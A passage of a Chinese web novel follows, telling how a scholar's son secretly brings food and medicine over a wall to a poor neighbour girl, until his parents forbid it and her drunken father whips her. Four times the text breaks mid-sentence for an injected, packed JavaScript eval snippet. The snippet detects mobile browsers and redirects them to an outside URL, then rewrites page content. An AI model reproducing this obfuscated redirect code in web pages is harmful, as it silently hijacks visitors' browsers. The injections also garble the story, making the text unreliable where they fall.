“你怎么下来的。”她一边吃一边问：“院墙这么高，我家里可没有树。” 她还记得，江泠连树都不太会爬，叶家院子里光秃秃的，只有角落堆着柴火与草垛，也不知他是怎么下来的。 江泠侧过身，指了指院墙下用来烧火的草垛。 叶秋水惊讶，“跳下来的？” 江泠点了点头。 眼睛渐渐适应黑暗，月光洒落，叶秋水这才发现江泠的头上还沾着几根草。 平日矜贵的小官人此刻头顶杂草，脸上带着愧疚，安安静静地看着叶秋水，眼神随着她的动作流动，看上去没有平日那么冷漠严肃。 叶秋水饿了许多日，吃起东西来忘乎所以，她还是那样的坏习惯，遇到食物来不及细嚼便囫囵吞枣地咽下去，生怕会有人同她抢一样。 等她吃完，已是满手油腥，叶秋水用手帕擦了擦，江泠看着她，嘴巴张了张，欲言又止。 叶秋水见状，故意道：“好了，我吃完了，你可以走了。” 她刚刚才吃过小官人千辛万苦送过来的东西，不好意思太凶，绷着脸，说话说得很不硬气。 “等等！” 江泠立刻伸手，卡住窗棂，涨红着脸，说：“我前几日在省城考完试，刚出来就看到老家的下人，是祖母派过来的，她年纪大了，想念晚辈，所以让人接我过去住几日，我祖父身体也不好，缠绵病榻多年，所以我才多待了几日孝敬他们。” “我……我回家后才知道这几日发生过什么，我也知道你没有偷东西，是他们误会你。”他掀起眼，直视叶秋水，“我替我家人给你赔罪。” 叶秋水怔了一下，回神，“你来就是为了说这些？” 江泠重重点头，“嗯……嗯？” 他又摇头，抬眼看着叶秋水，“我听他们说你从树下摔下，有没有受伤？” “没有。”叶秋水告诉他，“大夫看了说没有事，还给我送了药。” 不过被她拿去城中的药铺当掉，江家出手阔绰，药材可以卖出好几十两，药铺的伙计见她年幼，故意诓骗，只给了她五两。 叶秋水喜出望外，她拥有了有史以来最丰厚的一笔资产，但是这并不耽误她依旧不喜欢江家的人，排斥那些脸上写满嫌弃的高门贵户。 但这里面并不包含江泠。 江泠担忧地盯着她，“现在还疼吗？” “一点点。” “我有擦淤青的药，我回去找给你。” “哦。” 叶秋水低下头，盯着自己的脚尖，“我知道了，你可以走了。” 她很冷淡，惜字如金，并不想与他多言。 话音落下，江泠却没有动。 不知道为什么，江泠想到了许久之前，那群喜欢到他院中蹭吃蹭喝的猫儿，自从被父亲发现，自从仆人将它们赶走后，再也没有狸奴踏足过他的院落。 叶秋水大概也会这样，她是人，比猫更能看得出同类的傲慢。 江泠几次张口，想说什么，但憋了半天，又一个字都没蹦出来。 等了许久，他都没有说话，也没有离开，像个石柱一样杵在窗户外。 叶秋水终于纳闷地看了他一眼，“你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496460|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么还不走？” 江泠因为体弱多病而常年苍白如玉的脸泛出红色，他斟酌许久，张口竟然是，“我听下人说，明日……有藕粉桂花糕和白玉丸子，那个你……吃……吗？” 叶秋水眼睛瞪大，震惊他想这么久怎么居然是问这个。 她眼前再次浮现出那日被江泠的家人发现，她母亲掩着面，让丫鬟将江泠屋子里的床褥，帕巾全部扔掉，叶秋水想强硬一点，现在就服软显得她很没面子，但话到嘴边，叶秋水又很不争气地屈服了。 一个又一个精致酥甜的点心在她眼前飞呀飞，叶秋水瓮声瓮气道：“……吃。” 不待江泠回应，她又说：“两个我都要吃，你都得给我，要很多。” 江泠终于笑了一下。 见他笑，叶秋水更加没面子，她作势要拉起窗户，还不忘冷哼，“你快走！” “嗯，我走了。” 江泠说，他转过身，摸黑走到墙边，来时可以借助院子里的桃树，回去就没那么方便了，万幸的是叶家房屋矮，他踩着柴火堆爬上屋檐，可以跳上高墙，再顺着桃树滑下去。 江泠身手很差，好几次踩空，叶秋水面上冷冰冰的，看到他踩空又叫道：“你用手抓着砖头呀，脚踩实了，笨！” 江泠默不作声，老老实实顺着她的话改变姿势，在爬墙上房能手“叶师傅”的教导下，终于顺利地回到了自己家中。 垣墙粗糙，还有许多凸起的沙砾，江泠在攀爬的过程中，衣服被蹭得更烂，绣工精美雅致的衣袍四处勾线，等回到家中时，他已经顶了一头的树叶，细皮嫩肉的手臂上也遍布大大小小的划痕。 江泠飞快从先前住的院落跑回现在搬来的地方，气喘吁吁，缓了许久，仆人都以为他已经早早歇下，没有发现异常，江泠轻手轻脚回到屋中，脱下脏衣，拔掉发间的树叶，将擦伤简单上药，最后将“证物”通通塞进柜子最深处。 深夜，江泠躲在被子中，他清楚地知道自己这样有违君子言行，翻墙爬树，甚至踩上别人家的屋檐，这些都是小人行径，若是被父亲与母亲知道了，大概会痛心疾首，父亲会引经据典，用各种古籍上的文字与圣人的话语来告诫他，这样都是不对的。 江泠尊师重道，恪守教诲，从小到大，他都是族中子弟楷模。 但是他并不觉得自己正在犯错。 高墙筑起，叶秋水无法再像从前一样爬上去，坐在墙头和江泠聊天。 夜里，仆人离去，江泠又独自绕到原来的院子，将包好的点心与医治跌打损伤的药用绳子系上，另一头扔进叶家院里。 叶秋水抓住，拉动，绳子越过垣墙，吊着一包精致的点心和药油。 得逞后，江泠若无其事地回到房中，解衣睡觉，下人只当三郎读书读累了，早早歇下，作为全曲州最聪慧知礼的小官人，他的任何举动都不会有人怀疑。 垣墙太高，已不适合攀缘，上一次偷偷翻墙，留下一手划痕，险些被下人发现，一旦摔落，必然残疾。 虽然他们不能再见面闲聊，但并不会因为一堵墙就停止结交。 11. 名字 入秋，气候转凉，宋氏为江泠置办了许多新衣，少年成长得太快，几个月前的衣袍已经短了一截。 江家自诩曲州名门，虽然只是从商的家族，但也学世家附庸风雅，江家崇玉，族中人无论男女，皆环玉佩带。 江泠也有玉，材质稀有，价格不菲。 传言大家族中，小辈耳濡目染，很早便可独当一面，江泠进县学的时候只有十二岁，每日少不得迎来送往，江二爷也学世家，为他早早取下表字，古时，凡用以祭祀，敬鬼神的美玉称为“嘉玉”，即无暇之玉。① 叶秋水问他的名字怎么写，江泠写在纸上，告诉她该怎么读。 初秋，叶家的屋顶被风吹跑，叶秋水独自爬上屋檐，用茅草盖住破洞的地方。 江泠傍晚听到狂风呼啸撞击窗户的声音，夜里等仆人都离开后，他来到高墙下，一抬头就能看见叶秋水在补屋顶，她难得点上油灯，一手提着，一手抱着一捆茅草。 不早点将缺漏补上，若是下起大雨，整个屋子都会遭殃。 “你爹还没回来吗？” 江泠问道，这种事情怎么让一个孩子来做。 “回来啦。”叶秋水说：“不过今早又出去喝酒了，不管他，他不在，就没人抢我的钱。” 叶秋水嘿嘿一笑，叶大不知道，她现在有五两银子的巨款。 补完屋顶，叶秋水灵活地爬到墙边，“江宁，为什么你有两个名字。” 为什么他还有一个叫嘉玉的名字。 江泠解释给她听，“泠是出生时家中长辈所取，嘉玉是字，师长还有同辈友人，以及……亲近之人可以这样称呼我。” 叶秋水“噢”了一声。 他低头，拿起挂在腰间的饰物，玉是青玉，雕花精美，抬起来对光时，全然无一点杂色或是瑕疵，“这就是玉。” 江泠又给她看他头上的发簪，也是玉质的，颜色剔透晶莹。 叶秋水细细打量，玉器贵重，她曾听人说过，一块上好的玉价值连城，可以盘下一条街的铺子。 江家用玉给他取字，对他有无限的期许。 她眼底不禁流露出几分羡慕，想起自己的名字，再看着那枚玉，低声喃喃道：“真好看。” 江泠将玉饰重新挂回去，抬头看她，瞧见她眼底一闪而过的艳羡，他想到什么，突然说：“你等一下。” 叶秋水不明所以，但乖乖坐在墙头等他回来。 不一会儿，江泠再次出现，他跑得有些急，额头上冒出一层细汗，怀里还抱着两本书，本来想递给叶秋水，想起她不识字，又自己踩着桃树爬上墙。 熟能生巧，江泠现在远比第一次爬树熟悉许多，他已经不会再蹭得满手是伤。 “你看。” 江泠在墙头坐下，将书翻开，上面有几个被圈画出的字，江泠指着它们，“‘落霞与孤鹜齐飞，秋水共长天一色’，我先前以为你的名字由此而来，‘秋水为神玉为骨’，‘眼明正似琉璃瓶，心荡秋水横波清’，这些诗句中都有‘秋水’二字，在许多书中，秋水都是个很好的词，有明净，清朗的意思，有时候也指美人，还有……”② 他侧目，看了叶秋水一眼，恰好叶秋水正在认真听他讲解，他突然停下，叶秋水下意识看向他，圆润有神的双眼填满懵懂，她目光清澈，似秋水粼粼。 江泠愣了一下，眼睛眨了眨，垂下头，继续道：“还有夸一个人的眼睛很漂亮的意思……” “噢。” 叶秋水点头，“但我爹爹给我取这个名字是因为……” 江泠知道她想要说什么，打断她，“我知道，我是想告诉你，一个词，因为不同的人，会被赋予不同的含义，不管是好的，坏的，这些都是外人桎梏你的东西，你不用在意。” 叶秋水似懂非懂。 江泠知道她听不懂，于是换了个说法，“这样，你把你爹的话忘掉，记住我说的就行，秋水是一个好词，不是什么晦气话，他瞎说的。” 怕她不信，江泠又补充，“我读书多，你信他还是信我？” 叶大只会喝酒嫖赌，连自己的名字都不会写。 叶秋水指着江泠，“我信你。” 江泠颔首，“嗯，下次别人问起你的名字是什么，你就说……‘落霞与孤鹜齐飞，秋水共长天一色’。” 叶秋水重重点头，“嗯嗯！” 江泠问：“好，你的名字是哪两个字？” 叶秋水双手握拳，神情认真，“老夏与咕咕起飞，秋水拱长……天姨社！” 说完又疑惑道：“老夏是谁呀，为什么要飞？” 江泠：“……” 他抿唇，沉默。 半晌才开口，“不打紧，我再慢慢教你。” * 气候越发寒凉，初秋时，江泠已经穿上厚衣。 一个月前的考试，江泠拔得头筹，这半年来他次次评优都是甲等，若是年末的考核能通过，来年就会被举荐入京，进入国子监就读后，那就是一只脚踏入仕途了。 江家对此万分慎重，宋氏每日走路生风，隔半旬就会出城上香，祈祷儿子早日高中，等江泠进京，她将再不是商户妇人。 江泠知道家中期许，读书比往日更刻苦，长辈也看管得更严，他不会在读书一事上懈怠，族中人希望他能做官，让他们脱离商人的低贱地位，但对于江泠而言，他只是喜欢读书而已。 这几日，江四爷带着五郎江晖来过几次。 江晖资质平平，在书院并不出众，同龄的孩子之间总是被比来比去，秋前的考试，江泠又是甲，而江晖只是乙等，这还已经是他超常发挥，但父母并不满意。 江二爷从前读书时就自诩清高，与走南闯北做生意的兄弟们不亲近，后来做了官，更加高人一等，江泠与江晖只相差几个月，当年两个孩子刚出生，一个活蹦乱跳，一个因为早产，体弱多病，连说话都很晚。 谁知道后来，江泠书读得那么好，族中同辈望尘莫及，江四爷眼红气愤，逼迫江晖要超过兄长，这次考完试，又拎着他的衣领，笑脸盈盈来到江公宅中，让他多向江泠请教。 江晖不愿，但拗不过父母。 在他印象里，三哥比二伯还要清高，严肃冷淡，在书院一个朋友也没有，独来独往，不苟言笑，浑身上下写着四个字：生人勿近。 江晖有些怕他，觉得找江泠请教，大概会被他鄙夷。 只是父母逼迫，江晖只能硬着头皮询问江泠，但没想到的是，他问什么，江泠都知无不言，悉心解答，这让他更加难堪。 傍晚，宋氏检查完功课，满意离去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496461|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江泠照旧在打发走下人后，带上吃食，摸黑前往旧院。 前不久，他打听出那日起哄要打叶秋水的下人是谁，找到宋氏面前，告诉她，自己不喜欢话多的书童，会打扰他看书，宋氏对儿子功课上的事情很重视，一听，顿时眉头紧锁，问了江家其他仆人，得知那个叫言吉的书童确实话多，爱说三道四，拜高踩低，立刻将他打发去别的地方。 经此一事，他院中仆人都变得老实本分，不爱多话，也不生事，这让他很满意。 宋氏走后，江泠从桌上拿起打包的点心与炒栗子，来到高墙下。 叶秋水已经在那里，入秋后，她仍穿着夏时的衣服，衣摆短上许多，这段时间，叶秋水不像开春时那般瘦骨嶙峋，她好像变胖了，枯黄的头发渐渐变得浓密，乌黑，削尖的下巴也蓬起来，若是上手捏一捏，触感甚至是肉乎乎的。 “江宁！” 她从墙头探出来，笑嘻嘻地招手。 “今日怎么在屋顶？” “昨夜刮大风，屋顶又被吹跑啦，我上来修。” 江泠用绳子缠好点心，丢给她。 叶秋水打开，发现还有一包炒栗子，顿时惊喜。 前日，她在街上看到有人卖炒栗子，热气腾腾，芬香扑鼻，她馋得走不动道，回来告诉江泠，今日就吃到了！ “唔……江宁你尊好。” 她脸颊被食物撑起，像只小鼠，说话含糊不清，艰难地夸他。 吃完，江泠问：“屋顶补好了吗？” 叶秋水摇头，“还没有。” 她人小个矮，活做起来慢，许多地方也够不到。 江泠卷起衣袖，爬上树，“我帮你。” 他让叶秋水提着油灯，独自用茅草将破漏的地方补起来，“这样是不行的，只能维持一段时间，还是得用东西加固才可以。” 江泠用砖石压在上面，“今夜别在正下方的屋子睡，若是再刮起风，可能会有东西砸下来，还会漏雨。” 叶秋水依言道：“我知道啦。” “嗯，我回去了。” 江泠踩过瓦片，从叶家屋顶回到墙头，又顺着桃树回到自家宅院，动作干净利落。 很快，叶秋水也熄了灯回屋睡觉。 这一切都被出来寻找江泠的江晖看在眼里他呆在角落，屏气凝神。 半个时辰前，江晖有一篇文章看不懂，捧着书来到江泠院中，正撞见他摸黑离开。 他原以为三哥有什么事，没想太多，也跟着上前，哪知居然看到他灵活地爬树上墙，甚至跃到邻家屋顶。 这哪里像那个平日里冷肃稳重的江泠？ 与他一起的小女孩声音脆如银铃，约莫六七岁，围在他身边“江宁江宁”地叫。 三哥话虽少，声音也平淡，但句句应答。 直到她们都走后，江晖才从角落走出，他紧紧团着书，沉思片刻。 脑海里盘旋着小女孩的模样，江晖忽的灵光一现，几个月前，偷窃孙仲言荷包的小贼不就是她吗！ 模样虽然不太像，胖了，也高了，但穿的衣服一模一样，穷酸，破旧，他可记得当时为了讨好孙仲言，作势要打她的时候，被赶来的江泠训斥。 不行，得将这件事情告诉二伯和二伯母，他们的好儿子都会翻墙啦！ 12. 劝告 富奢门第的贵妇人不需要劳作，平日里用来打发时间的活计便只有打牌，看料子等等，宋氏未出阁前是书香世家的女儿，比起普通的妇人，她更加关注孩子的功课。 为了江泠未来的仕途着想，宋氏不允许他与不三不四的人结交，同样，江二爷也常告诉他，在书院中，要多与知州、县令家的小官人走动，将来这些人都可以成为他的助力，那些学识不精，考核成绩太差的学生，与他们走得太近，只会被带坏。 更遑论是与什么文盲，邻家小孩接触。 曾经在姑苏，江泠与一名书孰同窗相识，时常互相探讨功课，这件事被江二爷与宋氏知道后，那名同窗再也没有与他说过话，其他学生也对江泠敬而远之。 只因那名同窗是一个贫家子，出身低，连束脩都是母亲替人浆洗衣物，勉强凑出，父母瞧不上，不允许他与这样的人往来。 江泠的一切都被他们操控着，人生只有四个大字，读书！做官！ 听到江晖支支吾吾说起夜里所见时，宋氏起初是不信的，她肚子里出来的孩子，养到这么大，她比谁都知道三郎该是怎样的孩子，知书达理，沉静稳重，爬墙？上树？不可能！ 入夜，她照例端着备好的瓜果茶饮，来到江泠的院子检查他的功课。 江泠端端正正地坐在窗前，见她过来，起身，“母亲。” 少年仪容端正，松鹤纹革带束腰，肩身清瘦隽朗。 “嗯。” 宋氏颔首，翻开书，听他背诵，又问了几个问题，江泠都对答如流。 她脸上不禁露出满意的微笑，江泠还是江泠，一点未曾懈怠学业，可见五郎是在胡言乱语。 宋氏心彻底放下，与院里的丫鬟婆子们商量起下个月知州夫人生辰，要送怎样的礼。 “李县令的夫人说了，她要送一盆珊瑚。” 她低头问正在看书的江泠，“三郎，你与知州府的孙小官人都在县学读书，你不若向他打听打听，他母亲喜欢什么，我们早日备下，不过也不能抢了县令夫人的风头。” 知州有一双儿女，女儿已经嫁人，儿子孙仲言为人跋扈，在书院里说一不二，江泠没怎么和他说过话。 江二爷如今在曲州治下的一个县城里做主簿，官职太低，他还想继续升迁，少不得与知州常走动。 听到母亲的叮嘱，江泠心里有些排斥，面上却仍是点了点头。 父亲在外奔波，人情世故，在所难免，他不好说什么。 见他应下，宋氏又待了一会儿后才领着丫鬟婆子离去。 不久，江泠放下书，从盘子中拿起一串葡萄，小心翼翼用纸包着，等他赶到墙下时叶秋水已经在了，她荡了荡腿，“江宁，我还以为你今日不来了。” “母亲过来问功课，又说了会儿话，她走了我才能出来。” “哦。” 江泠熟练地爬上树，坐在墙头，将葡萄递给她，叶秋水笑嘻嘻地接过，“江宁，你每日都给我送吃的，唔……你家里会不会奇怪，你怎么饭量突然变大了。” 江泠说：“我有数，不会被发现。” 他不做没把握的事情。 “屋顶还漏雨吗？” “有一些，上次补完后，一下雨还是会滴水，我都用瓦罐接着了。” 江泠爬上树，跳到墙上，“我看看。” 叶家的房屋不牢固，穷了多少代，这房子也传了多少代，屋顶破漏的地方很多，隔一段时间就要补一次。 他将旧的茅草扔掉，盖上新的，用砖石压在上面，堵住小缺口，屋顶经久失修，又泡过雨，一不小心就会滑倒。 江泠踉跄了一下，堪堪站稳，看了一眼叶秋水，说：“下次再漏雨你和我说，自己不要上屋顶，太危险了。” 叶秋水乖乖点头，“知道了。” 补完缺漏，江泠又回到墙上，熟练地从桃树上跳下。 这一切都被宋氏看在眼里，她虽然相信江泠不会做出逾矩之事，觉得江晖所说太过荒谬，但还是领着婆子跟了过来，正撞见江泠将葡萄递给那丫头。 他卷起衣袖，攀上树枝，越过高墙，再跳上屋顶，动作娴熟，不像第一次。 江泠身上穿的衣服都是宋氏挑的料子与样式，她比任何人都知道，那个爬上爬下，与邻家小孩相交的就是自己儿子。 一旁的婆子不敢出声，试探地唤：“二娘子……” 宋氏黑着脸，她是个体面的妇人，没有立刻上前逮住江泠。 “这是不是上次那个翻墙偷东西的孩子？” “是。”婆子答：“叶家的女儿。” “太放肆了，当江家是什么地方？这样没家教的孩子，还是个贼！三郎跟着她都学坏了！” 她一甩衣袖，看上去怒气冲冲，事到如今还不忘维持风度，背影仪态端正，只是步伐加快许多。 第二日午膳，江泠一进厅就觉得气氛不对。 江二爷与宋氏二人皆神情严肃，江泠心中觉得不妙，又看到一旁脸色心虚不敢看他的江晖，与看似担忧，眼神却狡黠的四叔。 “爹，娘，四叔。” “嗯。” 江二爷淡淡应了他一声，“三郎，你坐下。” 江泠走上前，坐在他面前。 江二爷看着他，问：“你过去住在北边的院子里，早就知道夜里会有人爬墙进来偷桃是吗？” 江泠没有否认，“知道。” “遇上这样的事情，为什么不和父母说？” “只是觉得是小事，没有必要叨扰长辈。” “这样的事情怎么会是小事。”江二爷语重心长，“你与旁人不一样，你是要做官的人，你怎么能与这样的人来往，况且，邻家小孩偷盗财物，这些五郎都亲眼瞧见过，你也知道，她偷的还是孙小官人的钱，你帮她解围，还与她结交，若是被孙知州知道了，你该怎么办？” “你不是读过《大梁律》，你该知道偷盗是什么下场。” 律法上说，偷盗财物，会被剁去左手，再犯，剁去右手，还敢犯，则鞭三十，流放边关。 江泠熟读这些，也铭记在心，“知道。” “既然知道，为什么还纵容她？” “没有纵容。”江泠回答，“她已不再偷东西。” 江二爷笑了，“你是她？你怎知她不偷？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496462|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江泠声音平静，“我知道，我能担保。” “你能担保，你怎么担保？” 江二爷提了提声，觉得他说的话很可笑。 “我曾学过，‘仓廪实而知礼节，衣食足而知荣辱’。①”江泠续道：“邻家小孩年幼，又无长辈教导，处境艰难，为了维持生计才做下错事，儿子觉得实在不必苛责，规劝引导便好，我教过她，她已知道偷盗不对，且未曾再犯。” 江二爷摇头，“你不懂，本性难移。” 江泠眉心微蹙。 “现在不是说这个的时候。”宋氏打断他们，“三郎，你以后不准与她往来，你看看你现在的样子，爬墙，上树，这是你该做的事情吗？” “你是要科考的人，一言一行都不能出错，哪个世家君子会爬树上墙，这等逾矩之事，传出去只会被人笑话，日后会成为你的污点，你要知道，只有纨绔子弟，只有盗贼才会这么做。更何况，院墙那么高，稍有不慎摔下来人可能就废了，你明不明白！” 宋氏痛心疾首，她本来就不喜江家，鄙弃他们的粗鄙市侩，怕孩子也会染上商人的唯利是图，她教导他礼节，要他像京中的世家子弟一样，言行稳重。 但昨日瞧见的江泠，完全让她没有办法接受，她不敢相信那个熟练跳上墙垣的会是自己的儿子。 “长辈从前是怎么教导你的，你要与志趣相投，要同博学多才，家韵丰厚的人相交，而不是目不识字的白丁，贫困穷顿的贼人！” 江泠垂着目光，默不作声。 宋氏与江二爷为他的仕途费尽心思，不希望他同身份卑微，学识差的人结交，浪费时间，耽误学业，甚至被带坏。 换做从前，他定然已经承认错误，并且允诺下次不敢再犯。 但他此刻只是沉默，江泠不会顶撞长辈，他不说话，那就是不愿意认错。 宋氏越看越生气，她站了起来，“江嘉玉！” 江二爷拉住她，“你坐下同他说……” 宋氏一把甩开他的手，她气急，“明年推举前你不准再出门，去书院上课的时候，也让人跟着，将垣墙再加高，封起来，每日派人盯着，我倒要看看还有什么阿猫阿狗的敢爬过来！” 她横眉怒目，顾着还有外人在，没有完全丧失风度，不然她现在就要让江泠跪到祠堂里认错。 江二爷叹了一声气，看着宋氏怒气冲冲地离去，他回头，深深看了眼一旁垂首不语的江泠。 “三郎，你先回去吧。” 江泠点头，转身离开厅堂，好好的午膳，不欢而散。 江四爷也不好意思再坐下去，“二哥，我先带五郎回去了。” “好，让你们看笑话了。” 江二爷扯了扯嘴角，笑容讪讪，他方才一直拉着宋氏不让她发火，就是不想被人看笑话，哪知她这么沉不住气。 所有人都离开后，他独自在前厅坐了一会儿，笑容落下，神情严肃。 “张牧。” 他喊来自己亲信的长随，“你去叶家，和那家的大人说清楚，管好自己的孩子。” 江二爷目光沉黯，“他不管，自有人来管。” 13. 解禁 秋时，谷物成熟，有时县衙会为穷人发放米粮，需要大人去名册登记，之后可以领取一斗米，叶秋水不符合要求，但县里的人都知道她家的情况，也破例给了她半斗米。 叶秋水已经许久没吃到米粮，小半斗米有许多，她用罐子装着，废了很大的劲才捧回家，一路上盘算着这些米该怎么吃，熬成稀粥，放上水芹碎，可以吃上许久，如果叶大不回来的话。 怎知她捧着半斗米回到家，偏偏就撞上在外鬼混多日，终于出现的叶大。 他看上去脸色很难看，因为终日酗酒，叶大的双目微微突起，眼皮耷拉，看上去阴翳又凶狠。 见到他，叶秋水害怕地打了打寒颤，扯着嘴角，笑得勉强，“爹爹……你、你回来啦。” “小贱蹄子。” 叶大突然咬牙切齿地说了一声。 叶秋水心里升起一股很不好的预感，脚往后退了退，果不其然，下一刻，叶大站起，随手拿起放在桌上的鞭条，“你是不是又爬墙了，偷东西偷到江家，你一日不给老子惹点麻烦你就安不住。” 他一手握着鞭条，一手抓住她的衣领，提到身前，下手毫不留情，“叫你不安分，叫你不安分！” 叶大被江家的人找上，江主簿身边的长随严肃地警告他，管好自己的孩子，爬墙偷东西这种事情，江主簿心善，不会苛责，要是偷到东门街其他人家，恐怕就是断手断脚的事情了。 听了这些话，叶大一后背冷汗，他是让叶秋水出去偷钱，但没想到她会偷到大户人家家中，偷也罢了，竟被逮住，还要连累他。 鞭条粗糙，又带着刺，抽在身上火辣辣的疼，叶秋水抱着米罐，东躲西藏，皮开肉绽，哭得满脸都是泪水，叶家房屋矮小，没有能够躲藏的地方，她躲到桌子底下，桌子被叶大一把掀开，再次被揪出来挨打。 “我不去了，我再也不去了，爹爹……别打了！” 喝了酒又盛怒的男人力气很大，叶秋水一边躲藏，一边哭喊着求饶，江家的下人找上门时，对内嚣张跋扈的叶大畏畏缩缩，十分怯懦，这种耻辱让他加倍地想要通过教训女儿来赚回面子与尊严，因此下手一点也不留情。 终于，叶秋水被打得没有力气了，抱着米罐的手也握不住，手一松，瓦罐摔在地上，砸得粉碎，米粮散了一地，她哭着坐在地上用手将散落的米粒拢过来。 本来在外面等候的江家仆人只是想警告叶大，让他管好孩子，不要再攀爬江宅的院墙，也不要去打扰三郎读书，哪知他下手如此狠辣，长随看得于心不忍，忙上前劝阻，“好了好了，打几下长长记性便也罢了，你弄死她算什么，够了，别再让她哭喊了，吵到邻里又是难看。” 叶大终于收手，拎着鞭条，转头又笑脸盈盈，露出一嘴因为常年酗酒而歪七扭八的黄牙，“张大哥，您回去告诉江老爷，我管教过了，她不敢再犯，还有下次，不待你们说，我自己先将她腿打断。” 张牧皱了皱眉，没好气地瞥了他一眼，“自己掂量掂量，你将孩子打死、打残了，邻里知道了，反显得我们江家不近人情，好了，这事就这么算了，以后别再让她爬墙就是了，姑娘家的像什么话。” “欸，小人明白。” 叶大弓着腰，脸上是谄媚的笑容，看着让人不适。 江家的仆人只要周正的，张牧在江二爷身边跟久了，进出过许多地方，他虽然只是仆人，但也可以将贫穷卑贱的叶大衬得低入尘埃。 叶秋水坐在地上，抱着摔碎的瓦罐，低头抹着眼泪抽噎。 送走张牧，叶大转过身，脸色很难看，他听到哭声，越发烦躁，又看到洒落一地的米粒，骂道：“没用，跟你娘一样，就知道哭，一个个都是赔钱货。” 方才一直哭哭啼啼的叶秋水突然抬起头，吼道：“你不许说我阿娘！” 叶大的妻子死得很早，她劳累过度，又常年被打，年纪轻轻身体就耗空了，去年春，她在一个寻常的清晨，再也没有睁开眼。 叶大好面子，对外只说，媳妇背弃他，同人跑了。 只有叶秋水知道，她是被他打死。 “老子偏说。”叶大正在气头上，张牧找到他时，还提到过叶秋水与江家三郎关系很好，叶大没见过那个少年，但也听说过，且江氏乃曲州名门，富甲一方，他不想知道也不行。 一开始他是诧异的，诧异叶秋水小小年纪竟然勾搭上了江家的小官人，他先是惊喜，后来又开始恼怒，被人家长辈警告，他觉得很丢人。 听仆人的意思，隐隐责怪他教女无方，带坏三郎。 叶秋水瘦瘦小小一只，这几个月虽然养胖了一些，个头却没见长多少，叶大一只手就能提起她。 他并不将她的怒意放在眼里，一字一顿，“你听好了，你、你娘，都是赔……” “嘭！” 叶秋水忽然站起，握紧拳头，一头撞了上去，她个子矮，脑袋正好到叶大腹部，他一个不防，被她铁头似的一撞，一屁股摔倒在地。 叶秋水额头通红，眼角还有泪，又可怜又倔强地喊道：“你不许说我娘，不许！” 她大概有些害怕，背脊还在发颤，声音也在抖，可握着拳头站在叶大面前时，却一点也没有向后退。 叶大恼怒之极，腹部一抽一抽地疼，他险些被她撞晕。 叶大扶着腰站起身，站稳了，重重甩了她一巴掌，提着叶秋水的后领将她扔进房中，锁上门，“不准再出来！” 她脾气倔，像头牛犊，被扔在地上还不服软，爬起来，门要阖上时，猛地将手上的瓦罐甩了出去，叶大躲得快，关紧门，瓦罐“嘭”地一声砸在门上，摔得粉碎。 叶大骂骂咧咧地离开了，将门锁紧。 屋中昏暗，叶秋水冷静了片刻，回过神，疼痛袭来，她眼泪再次落下，抬起手，一边擦眼泪，一边哽咽。 身上大大小小的鞭痕交错纵横，叶秋水爬起来，跑到床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496463|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻前，翻出江泠之前给她的药油，一点一点给自己上药。 叶大下手重，她身上一眼看过去没什么好肉，叶秋水咬着牙上完药，找了个地方躺下，抱紧肩膀，自己给自己拍肩膀，口中喃喃道：“芃芃，不要怕，不疼，不疼……” 阿娘还活着的时候，每次叶大发酒疯打人，阿娘都会抱着她，一遍遍拍着她的后背，叫她的小名，让她不要怕，不疼。 现在阿娘不在，她只能自己哄自己。 * 知州夫人生辰将近，江家忙里忙外，宋氏这几日愁坏了头发，四处打听知州夫人的喜好，日日看铺子，挑选礼物。 这段时间江泠一直被关在家中，哪里都不许去，去书院上课也是里里外外都跟着人，从前的院墙再次被加高，每日都有仆人在附近巡查，生怕还有哪个不长眼的小贼再翻墙擅闯江宅。 江泠对此没有置喙，他说了也不会有人听他的意见，长辈只会觉得他学坏了，竟然敢顶嘴，简直大逆不道。 